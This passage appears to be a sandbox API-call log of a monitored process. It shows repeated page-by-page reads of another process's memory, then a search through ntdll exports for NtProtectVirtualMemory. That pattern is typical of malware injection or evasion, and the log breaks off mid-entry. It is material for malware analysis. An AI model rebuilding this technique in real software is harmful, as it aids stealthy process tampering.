0x0 [0139.870] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0850000, Buffer=0x7fff, BufferSize=0x25a0000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.870] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0851000, Buffer=0x7fff, BufferSize=0x25a1000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.870] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0852000, Buffer=0x7fff, BufferSize=0x25a2000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.871] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0853000, Buffer=0x7fff, BufferSize=0x25a3000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.871] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0854000, Buffer=0x7fff, BufferSize=0x25a4000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.871] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0855000, Buffer=0x7fff, BufferSize=0x25a5000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.872] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0856000, Buffer=0x7fff, BufferSize=0x25a6000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.872] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0857000, Buffer=0x7fff, BufferSize=0x25a7000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.872] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0858000, Buffer=0x7fff, BufferSize=0x25a8000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.872] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0859000, Buffer=0x7fff, BufferSize=0x25a9000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.873] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf085a000, Buffer=0x7fff, BufferSize=0x25aa000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.873] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf085b000, Buffer=0x7fff, BufferSize=0x25ab000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.873] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf085c000, Buffer=0x7fff, BufferSize=0x25ac000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.874] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf085d000, Buffer=0x7fff, BufferSize=0x25ad000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.874] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf085e000, Buffer=0x7fff, BufferSize=0x25ae000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.874] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf085f000, Buffer=0x7fff, BufferSize=0x25af000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.874] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0860000, Buffer=0x7fff, BufferSize=0x25b0000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.875] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0861000, Buffer=0x7fff, BufferSize=0x25b1000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.875] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0862000, Buffer=0x7fff, BufferSize=0x25b2000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.875] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0863000, Buffer=0x7fff, BufferSize=0x25b3000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.876] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0864000, Buffer=0x7fff, BufferSize=0x25b4000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.876] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0865000, Buffer=0x7fff, BufferSize=0x25b5000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.877] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0866000, Buffer=0x7fff, BufferSize=0x25b6000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.877] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0867000, Buffer=0x7fff, BufferSize=0x25b7000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.877] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0868000, Buffer=0x7fff, BufferSize=0x25b8000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.877] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0869000, Buffer=0x7fff, BufferSize=0x25b9000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.878] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf086a000, Buffer=0x7fff, BufferSize=0x25ba000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.878] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf086b000, Buffer=0x7fff, BufferSize=0x25bb000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.878] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf086c000, Buffer=0x7fff, BufferSize=0x25bc000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.879] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf086d000, Buffer=0x7fff, BufferSize=0x25bd000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.879] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf086e000, Buffer=0x7fff, BufferSize=0x25be000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.879] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf086f000, Buffer=0x7fff, BufferSize=0x25bf000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.879] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0870000, Buffer=0x7fff, BufferSize=0x25c0000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.880] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0871000, Buffer=0x7fff, BufferSize=0x25c1000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.880] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0872000, Buffer=0x7fff, BufferSize=0x25c2000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.880] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0873000, Buffer=0x7fff, BufferSize=0x25c3000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.880] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0874000, Buffer=0x7fff, BufferSize=0x25c4000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.881] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0875000, Buffer=0x7fff, BufferSize=0x25c5000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.881] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0876000, Buffer=0x7fff, BufferSize=0x25c6000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.881] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0877000, Buffer=0x7fff, BufferSize=0x25c7000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.882] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0878000, Buffer=0x7fff, BufferSize=0x25c8000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.882] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0879000, Buffer=0x7fff, BufferSize=0x25c9000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.882] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf087a000, Buffer=0x7fff, BufferSize=0x25ca000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.882] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf087b000, Buffer=0x7fff, BufferSize=0x25cb000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.883] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf087c000, Buffer=0x7fff, BufferSize=0x25cc000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.883] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf087d000, Buffer=0x7fff, BufferSize=0x25cd000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.883] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf087e000, Buffer=0x7fff, BufferSize=0x25ce000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.883] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf087f000, Buffer=0x7fff, BufferSize=0x25cf000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.884] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0880000, Buffer=0x7fff, BufferSize=0x25d0000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.884] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0881000, Buffer=0x7fff, BufferSize=0x25d1000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.884] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0882000, Buffer=0x7fff, BufferSize=0x25d2000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.884] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0883000, Buffer=0x7fff, BufferSize=0x25d3000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.885] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0884000, Buffer=0x7fff, BufferSize=0x25d4000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.885] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0885000, Buffer=0x7fff, BufferSize=0x25d5000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.885] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0886000, Buffer=0x7fff, BufferSize=0x25d6000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.886] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0887000, Buffer=0x7fff, BufferSize=0x25d7000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.886] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0888000, Buffer=0x7fff, BufferSize=0x25d8000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0140.097] lstrcmpA (lpString1="A_SHAFinal", lpString2="NtProtectVirtualMemory") returned -1 [0140.097] lstrcmpA (lpString1="A_SHAInit", lpString2="NtProtectVirtualMemory") returned -1 [0140.097] lstrcmpA (lpString1="A_SHAUpdate", lpString2="NtProtectVirtualMemory") returned -1 [0140.097] lstrcmpA (lpString1="AlpcAdjustCompletionListConcurrencyCount", lpString2="NtProtectVirtualMemory") returned -1 [0140.097] lstrcmpA (lpString1="AlpcFreeCompletionListMessage", lpString2="NtProtectVirtualMemory") returned -1 [0140.097] lstrcmpA (lpString1="AlpcGetCompletionListLastMessageInformation", lpString2="NtProtectVirtualMemory") returned -1 [0140.097] lstrcmpA (lpString1="AlpcGetCompletionListMessageAttributes", lpString2="NtProtectVirtualMemory") returned -1 [0140.097] lstrcmpA (lpString1="AlpcGetHeaderSize", lpString2="NtProtectVirtualMemory") returned -1 [0140.097] lstrcmpA (lpString1="AlpcGetMessageAttribute", lpString2="NtProtectVirtualMemory") returned -1 [0140.097] lstrcmpA (lpString1="AlpcGetMessageFromCompletionList", lpString2="NtProtectVirtualMemory") returned -1 [0140.097] lstrcmpA (lpString1="AlpcGetOutstandingCompletionListMessageCount", lpString2="NtProtectVirtualMemory") returned -1 [0140.097] lstrcmpA (lpString1="AlpcInitializeMessageAttribute", lpString2="NtProtectVirtualMemory") returned -1 [0140.098] lstrcmpA (lpString1="AlpcMaxAllowedMessageLength", lpString2="NtProtectVirtualMemory") returned -1 [0140.098] lstrcmpA (lpString1="AlpcRegisterCompletionList", lpString2="NtProtectVirtualMemory") returned -1 [0140.098] lstrcmpA (lpString1="AlpcRegisterCompletionListWorkerThread", lpString2="NtProtectVirtualMemory") returned -1 [0140.098] lstrcmpA (lpString1="AlpcRundownCompletionList", lpString2="NtProtectVirtualMemory") returned -1 [0140.098] lstrcmpA (lpString1="AlpcUnregisterCompletionList", lpString2="NtProtectVirtualMemory") returned -1 [0140.098] lstrcmpA (lpString1="AlpcUnregisterCompletionListWorkerThread", lpString2="NtProtectVirtualMemory") returned -1 [0140.098] lstrcmpA (lpString1="ApiSetQueryApiSetPresence", lpString2="NtProtectVirtualMemory") returned -1 [0140.098] lstrcmpA (lpString1="CsrAllocateCaptureBuffer", lpString2="NtProtectVirtualMemory") returned -1 [0140.098] lstrcmpA (lpString1="CsrAllocateMessagePointer", lpString2="NtProtectVirtualMemory") returned -1 [0140.098] lstrcmpA (lpString1="CsrCaptureMessageBuffer", lpString2="NtProtectVirtualMemory") returned -1 [0140.098] lstrcmpA (lpString1="CsrCaptureMessageMultiUnicodeStringsInPlace", lpString2="NtProtectVirtualMemory") returned -1 [0140.098] lstrcmpA (lpString1="CsrCaptureMessageString", lpString2="NtProtectVirtualMemory") returned -1 [0140.098] lstrcmpA (lpString1="CsrCaptureTimeout", lpString2="NtProtectVirtualMemory") returned -1 [0140.098] lstrcmpA (lpString1="CsrClientCallServer", lpString2="NtProtectVirtualMemory") returned -1 [0140.098] lstrcmpA (lpString1="CsrClientConnectToServer", lpString2="NtProtectVirtualMemory") returned -1 [0140.098] lstrcmpA (lpString1="CsrFreeCaptureBuffer", lpString2="NtProtectVirtualMemory") returned -1 [0140.098] lstrcmpA (lpString1="CsrGetProcessId", lpString2="NtProtectVirtualMemory") returned -1 [0140.098] lstrcmpA (lpString1="CsrIdentifyAlertableThread", lpString2="NtProtectVirtualMemory") returned -1 [0140.098] lstrcmpA (lpString1="CsrSetPriorityClass", lpString2="NtProtectVirtualMemory") returned -1 [0140.098] lstrcmpA (lpString1="CsrVerifyRegion", lpString2="NtProtectVirtualMemory") returned -1 [0140.098] lstrcmpA (lpString1="DbgBreakPoint", lpString2="NtProtectVirtualMemory") returned -1 [0140.098] lstrcmpA (lpString1="DbgPrint", lpString2="NtProtectVirtualMemory") returned -1 [0140.098] lstrcmpA (lpString1="DbgPrintEx", lpString2="NtProtectVirtualMemory") returned -1 [0140.098] lstrcmpA (lpString1="DbgPrintReturnControlC", lpString2="NtProtectVirtualMemory") returned -1 [0140.098] lstrcmpA (lpString1="DbgPrompt", lpString2="NtProtectVirtualMemory") returned -1 [0140.098] lstrcmpA (lpString1="DbgQueryDebugFilterState", lpString2="NtProtectVirtualMemory") returned -1 [0140.098] lstrcmpA (lpString1="DbgSetDebugFilterState", lpString2="NtProtectVirtualMemory") returned -1 [0140.098] lstrcmpA (lpString1="DbgUiConnectToDbg", lpString2="NtProtectVirtualMemory") returned -1 [0140.099] lstrcmpA (lpString1="DbgUiContinue", lpString2="NtProtectVirtualMemory") returned -1 [0140.099] lstrcmpA (lpString1="DbgUiConvertStateChangeStructure", lpString2="NtProtectVirtualMemory") returned -1 [0140.099] lstrcmpA (lpString1="DbgUiConvertStateChangeStructureEx", lpString2="NtProtectVirtualMemory") returned -1 [0140.099] lstrcmpA (lpString1="DbgUiDebugActiveProcess", lpString2="NtProtectVirtualMemory") returned -1 [0140.099] lstrcmpA (lpString1="DbgUiGetThreadDebugObject", lpString2="NtProtectVirtualMemory") returned -1 [0140.099] lstrcmpA (lpString1="DbgUiIssueRemoteBreakin", lpString2="NtProtectVirtualMemory") returned -1 [0140.099] lstrcmpA (lpString1="DbgUiRemoteBreakin", lpString2="NtProtectVirtualMemory") returned -1 [0140.099] lstrcmpA (lpString1="DbgUiSetThreadDebugObject", lpString2="NtProtectVirtualMemory") returned -1 [0140.099] lstrcmpA (lpString1="DbgUiStopDebugging", lpString2="NtProtectVirtualMemory") returned -1 [0140.099] lstrcmpA (lpString1="DbgUiWaitStateChange", lpString2="NtProtectVirtualMemory") returned -1 [0140.099] lstrcmpA (lpString1="DbgUserBreakPoint", lpString2="NtProtectVirtualMemory") returned -1 [0140.099] lstrcmpA (lpString1="EtwCreateTraceInstanceId", lpString2="NtProtectVirtualMemory") returned -1 [0140.099] lstrcmpA (lpString1="EtwDeliverDataBlock", lpString2="NtProtectVirtualMemory") returned -1 [0140.099] lstrcmpA (lpString1="EtwEnumerateProcessRegGuids", lpString2="NtProtectVirtualMemory") returned -1 [0140.099] lstrcmpA (lpString1="EtwEventActivityIdControl", lpString2="NtProtectVirtualMemory") returned -1 [0140.099] lstrcmpA (lpString1="EtwEventEnabled", lpString2="NtProtectVirtualMemory") returned -1 [0140.099] lstrcmpA (lpString1="EtwEventProviderEnabled", lpString2="NtProtectVirtualMemory") returned -1 [0140.099] lstrcmpA (lpString1="EtwEventRegister", lpString2="NtProtectVirtualMemory") returned -1 [0140.099] lstrcmpA (lpString1="EtwEventSetInformation", lpString2="NtProtectVirtualMemory") returned -1 [0140.099] lstrcmpA (lpString1="EtwEventUnregister", lpString2="NtProtectVirtualMemory") returned -1 [0140.099] lstrcmpA (lpString1="EtwEventWrite", lpString2="NtProtectVirtualMemory") returned -1 [0140.099] lstrcmpA (lpString1="EtwEventWriteEndScenario", lpString2="NtProtectVirtualMemory") returned -1 [0140.099] lstrcmpA (lpString1="EtwEventWriteEx", lpString2="NtProtectVirtualMemory") returned -1 [0140.099] lstrcmpA (lpString1="EtwEventWriteFull", lpString2="NtProtectVirtualMemory") returned -1 [0140.099] lstrcmpA (lpString1="EtwEventWriteNoRegistration", lpString2="NtProtectVirtualMemory") returned -1 [0140.099] lstrcmpA (lpString1="EtwEventWriteStartScenario", lpString2="NtProtectVirtualMemory") returned -1 [0140.099] lstrcmpA (lpString1="EtwEventWriteString", lpString2="NtProtectVirtualMemory") returned -1 [0140.100] lstrcmpA (lpString1="EtwEventWriteTransfer", lpString2="NtProtectVirtualMemory") returned -1 [0140.100] lstrcmpA (lpString1="EtwGetTraceEnableFlags", lpString2="NtProtectVirtualMemory") returned -1 [0140.100] lstrcmpA (lpString1="EtwGetTraceEnableLevel", lpString2="NtProtectVirtualMemory") returned -1 [0140.100] lstrcmpA (lpString1="EtwGetTraceLoggerHandle", lpString2="NtProtectVirtualMemory") returned -1 [0140.100] lstrcmpA (lpString1="EtwLogTraceEvent", lpString2="NtProtectVirtualMemory") returned -1 [0140.100] lstrcmpA (lpString1="EtwNotificationRegister", lpString2="NtProtectVirtualMemory") returned -1 [0140.100] lstrcmpA (lpString1="EtwNotificationUnregister", lpString2="NtProtectVirtualMemory") returned -1 [0140.100] lstrcmpA (lpString1="EtwProcessPrivateLoggerRequest", lpString2="NtProtectVirtualMemory") returned -1 [0140.100] lstrcmpA (lpString1="EtwRegisterSecurityProvider", lpString2="NtProtectVirtualMemory") returned -1 [0140.100] lstrcmpA (lpString1="EtwRegisterTraceGuidsA", lpString2="NtProtectVirtualMemory") returned -1 [0140.100] lstrcmpA (lpString1="EtwRegisterTraceGuidsW", lpString2="NtProtectVirtualMemory") returned -1 [0140.100] lstrcmpA (lpString1="EtwReplyNotification", lpString2="NtProtectVirtualMemory") returned -1 [0140.100] lstrcmpA (lpString1="EtwSendNotification", lpString2="NtProtectVirtualMemory") returned -1 [0140.100] lstrcmpA (lpString1="EtwSetMark", lpString2="NtProtectVirtualMemory") returned -1 [0140.100] lstrcmpA (lpString1="EtwTraceEventInstance", lpString2="NtProtectVirtualMemory") returned -1 [0140.100] lstrcmpA (lpString1="EtwTraceMessage", lpString2="NtProtectVirtualMemory") returned -1 [0140.100] lstrcmpA (lpString1="EtwTraceMessageVa", lpString2="NtProtectVirtualMemory") returned -1 [0140.100] lstrcmpA (lpString1="EtwUnregisterTraceGuids", lpString2="NtProtectVirtualMemory") returned -1 [0140.100] lstrcmpA (lpString1="EtwWriteUMSecurityEvent", lpString2="NtProtectVirtualMemory") returned -1 [0140.100] lstrcmpA (lpString1="EtwpCreateEtwThread", lpString2="NtProtectVirtualMemory") returned -1 [0140.100] lstrcmpA (lpString1="EtwpGetCpuSpeed", lpString2="NtProtectVirtualMemory") returned -1 [0140.100] lstrcmpA (lpString1="EvtIntReportAuthzEventAndSourceAsync", lpString2="NtProtectVirtualMemory") returned -1 [0140.100] lstrcmpA (lpString1="EvtIntReportEventAndSourceAsync", lpString2="NtProtectVirtualMemory") returned -1 [0140.100] lstrcmpA (lpString1="ExpInterlockedPopEntrySListEnd", lpString2="NtProtectVirtualMemory") returned -1 [0140.100] lstrcmpA (lpString1="ExpInterlockedPopEntrySListFault", lpString2="NtProtectVirtualMemory") returned -1 [0140.100] lstrcmpA (lpString1="ExpInterlockedPopEntrySListResume", lpString2="NtProtectVirtualMemory") returned -1 [0140.100] lstrcmpA (lpString1="KiRaiseUserExceptionDispatcher", lpString2="NtProtectVirtualMemory") returned -1 [0140.101] lstrcmpA (lpString1="KiUserApcDispatcher", lpString2="NtProtectVirtualMemory") returned -1 [0140.101] lstrcmpA (lpString1="KiUserCallbackDispatcher", lpString2="NtProtectVirtualMemory") returned -1 [0140.101] lstrcmpA (lpString1="KiUserExceptionDispatcher", lpString2="NtProtectVirtualMemory") returned -1 [0140.101] lstrcmpA (lpString1="KiUserInvertedFunctionTable", lpString2="NtProtectVirtualMemory") returned -1 [0140.101] lstrcmpA (lpString1="LdrAccessResource", lpString2="NtProtectVirtualMemory") returned -1 [0140.101] lstrcmpA (lpString1="LdrAddDllDirectory", lpString2="NtProtectVirtualMemory") returned -1 [0140.101] lstrcmpA (lpString1="LdrAddLoadAsDataTable", lpString2="NtProtectVirtualMemory") returned -1 [0140.101] lstrcmpA (lpString1="LdrAddRefDll", lpString2="NtProtectVirtualMemory") returned -1 [0140.101] lstrcmpA (lpString1="LdrAppxHandleIntegrityFailure", lpString2="NtProtectVirtualMemory") returned -1 [0140.101] lstrcmpA (lpString1="LdrDisableThreadCalloutsForDll", lpString2="NtProtectVirtualMemory") returned -1 [0140.101] lstrcmpA (lpString1="LdrEnumResources", lpString2="NtProtectVirtualMemory") returned -1 [0140.101] lstrcmpA (lpString1="LdrEnumerateLoadedModules", lpString2="NtProtectVirtualMemory") returned -1 [0140.101] lstrcmpA (lpString1="LdrFastFailInLoaderCallout", lpString2="NtProtectVirtualMemory") returned -1 [0140.101] lstrcmpA (lpString1="LdrFindEntryForAddress", lpString2="NtProtectVirtualMemory") returned -1 [0140.101] lstrcmpA (lpString1="LdrFindResourceDirectory_U", lpString2="NtProtectVirtualMemory") returned -1 [0140.101] lstrcmpA (lpString1="LdrFindResourceEx_U", lpString2="NtProtectVirtualMemory") returned -1 [0140.101] lstrcmpA (lpString1="LdrFindResource_U", lpString2="NtProtectVirtualMemory") returned -1 [0140.101] lstrcmpA (lpString1="LdrFlushAlternateResourceModules", lpString2="NtProtectVirtualMemory") returned -1 [0140.101] lstrcmpA (lpString1="LdrGetDllDirectory", lpString2="NtProtectVirtualMemory") returned -1 [0140.101] lstrcmpA (lpString1="LdrGetDllFullName", lpString2="NtProtectVirtualMemory") returned -1 [0140.101] lstrcmpA (lpString1="LdrGetDllHandle", lpString2="NtProtectVirtualMemory") returned -1 [0140.101] lstrcmpA (lpString1="LdrGetDllHandleByMapping", lpString2="NtProtectVirtualMemory") returned -1 [0140.101] lstrcmpA (lpString1="LdrGetDllHandleByName", lpString2="NtProtectVirtualMemory") returned -1 [0140.101] lstrcmpA (lpString1="LdrGetDllHandleEx", lpString2="NtProtectVirtualMemory") returned -1 [0140.101] lstrcmpA (lpString1="LdrGetDllPath", lpString2="NtProtectVirtualMemory") returned -1 [0140.101] lstrcmpA (lpString1="LdrGetFailureData", lpString2="NtProtectVirtualMemory") returned -1 [0140.101] lstrcmpA (lpString1="LdrGetFileNameFromLoadAsDataTable", lpString2="NtProtectVirtualMemory") returned -1 [0140.102] lstrcmpA (lpString1="LdrGetKnownDllSectionHandle", lpString2="NtProtectVirtualMemory") returned -1 [0140.102] lstrcmpA (lpString1="LdrGetProcedureAddress", lpString2="NtProtectVirtualMemory") returned -1 [0140.102] lstrcmpA (lpString1="LdrGetProcedureAddressEx", lpString2="NtProtectVirtualMemory") returned -1 [0140.102] lstrcmpA (lpString1="LdrGetProcedureAddressForCaller", lpString2="NtProtectVirtualMemory") returned -1 [0140.102] lstrcmpA (lpString1="LdrInitShimEngineDynamic", lpString2="NtProtectVirtualMemory") returned -1 [0140.102] lstrcmpA (lpString1="LdrInitializeThunk", lpString2="NtProtectVirtualMemory") returned -1 [0140.102] lstrcmpA (lpString1="LdrLoadAlternateResourceModule", lpString2="NtProtectVirtualMemory") returned -1 [0140.102] lstrcmpA (lpString1="LdrLoadAlternateResourceModuleEx", lpString2="NtProtectVirtualMemory") returned -1 [0140.102] lstrcmpA (lpString1="LdrLoadDll", lpString2="NtProtectVirtualMemory") returned -1 [0140.102] lstrcmpA (lpString1="LdrLockLoaderLock", lpString2="NtProtectVirtualMemory") returned -1 [0140.102] lstrcmpA (lpString1="LdrOpenImageFileOptionsKey", lpString2="NtProtectVirtualMemory") returned -1 [0140.102] lstrcmpA (lpString1="LdrProcessInitializationComplete", lpString2="NtProtectVirtualMemory") returned -1 [0140.102] lstrcmpA (lpString1="LdrProcessRelocationBlock", lpString2="NtProtectVirtualMemory") returned -1 [0140.102] lstrcmpA (lpString1="LdrProcessRelocationBlockEx", lpString2="NtProtectVirtualMemory") returned -1 [0140.102] lstrcmpA (lpString1="LdrQueryImageFileExecutionOptions", lpString2="NtProtectVirtualMemory") returned -1 [0140.102] lstrcmpA 